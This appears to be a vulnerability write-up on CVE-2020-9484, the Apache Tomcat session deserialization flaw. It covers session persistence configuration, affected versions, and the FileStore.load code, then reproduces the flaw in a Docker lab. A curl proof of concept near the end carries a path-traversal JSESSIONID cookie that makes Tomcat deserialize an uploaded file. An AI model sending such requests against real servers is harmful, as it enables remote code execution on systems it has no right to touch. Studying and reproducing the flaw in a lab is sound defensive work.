CVE-2020-9484 tomcat session deserialization vulnerability analysis and reproduction

First, get to know the persistence of tomcat session

1 Introduction

For an enterprise-level application, the management of Session objects is very important. The information of the Sessio object is generally placed in the memory of the server. When the server restarts due to a failure or the application is reloaded, all the Session information at this time will be lost. In order to avoid such a situation, in some occasions, the session data of the server can be stored in the file system or database. This operation is called the persistence of the Session object. When the Session object is persisted, the objects stored in it are stored in serialized form. This is why the data generally stored in the Session needs to implement a serializable interface (java.io.Serializable). When a Session starts, the Servlet container creates an HttpSession object for the Session. The Servlet container transfers these HttpSession objects from the memory to the file system or database in some cases, and loads them into the memory when it needs to access the HttpSession information.

2. Realize TomcatSession persistence

To achieve session persistence, the objects stored in the session must implement the <java.io.Serializable> interface. Session persistence is managed by <session manager>. tomcat provides two implementation classes:

1.org.apache.catalina.session.StandardManager (default)
2.org.apache.catalina.session.PersistentManager

3. Specific configuration

Storing in a local file needs to be configured in the conf directorycontext.xmlFile in <Context>Add the following under the node<Manager>node:

<Manager className="org.apache.catalina.session.PersistentManager" 
    debug="0"
    saveOnRestart="false"
    maxActiveSession="-1"
    minIdleSwap="-1"
    maxIdleSwap="-1"
    maxIdleBackup="-1">
    <Store className="org.apache.catalina.session.FileStore" directory="../session" />
</Manager>

2. Vulnerability details

1. Vulnerability details

When using tomcat, if the session persistence function provided by tomcat is used, and if there is a file upload function, a malicious requester will be able to initiate a malicious request through a process that causes the server to execute remote commands.

2. Impact version

Apache Tomcat 10.x < 10.0.0-M5

Apache Tomcat 9.x < 9.0.35

Apache Tomcat 8.x < 8.5.55

Apache Tomcat 7.x < 7.0.104

3. Unaffected version

Apache Tomcat 10.x >= 10.0.0-M5

Apache Tomcat 9.x >= 9.0.35

Apache Tomcat 8.x >= 8.5.55

Apache Tomcat 7.x >= 7.0.104

4. Vulnerability analysis

According to the configuration aboveclassName="org.apache.catalina.session.FileStore">, Go to tomcat source code. Here i usetomcat7.0.100Code.

View the load method of FileStore, the code is as follows

   public Session load(String id) throws ClassNotFoundException, IOException {
        // Open an input stream to the specified pathname, if any
        File file = file(id);
        Context context = (Context) getManager().getContainer();
        FileInputStream fis = null;
        ObjectInputStream ois = null;
        Loader loader = null;
        ClassLoader classLoader = null;
        ClassLoader oldThreadContextCL = Thread.currentThread().getContextClassLoader();
        try {
            fis = new FileInputStream(file.getAbsolutePath());
            loader = context.getLoader();
            ois = getObjectInputStream(fis);

            StandardSession session = (StandardSession) manager.createEmptySession();
            session.readObjectData(ois);
            session.setManager(manager);
            return session;

Here we can clearly see that in the load method, the contents of the file are used as input for deserialization according to the opening of the file named id. And tomcat does not filter such as (../）Wait for the dangerous list. If you cooperate with any file upload, pass in a gadget and call JSESSION to let tomcat load the uploaded file to complete the deserialization attack. Of course, in the new version of tomcat, the deserialization vulnerability is solved by verifying the path of JSESSION

 

Three, vulnerability verification

Use docker container to pull the experimental environment,

$ git clone https://github.com/masahiro331/CVE-2020-9484.git //download environment
$ cd CVE-2020-9484
 $ docker build -t tomcat:groovy. //Create mirror
 $ docker run -d -p 8080:8080 tomcat:groovy //Open the service

Use BurpSuite to capture packets and perform POC.

Or directly execute POC in the environment and load malicious session persistent files through JSESSION

curl 'http://192.168.0.102:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy'

Check verification

$ docker exec -it $CONTAINER /bin/sh
$ ls /tmp/rce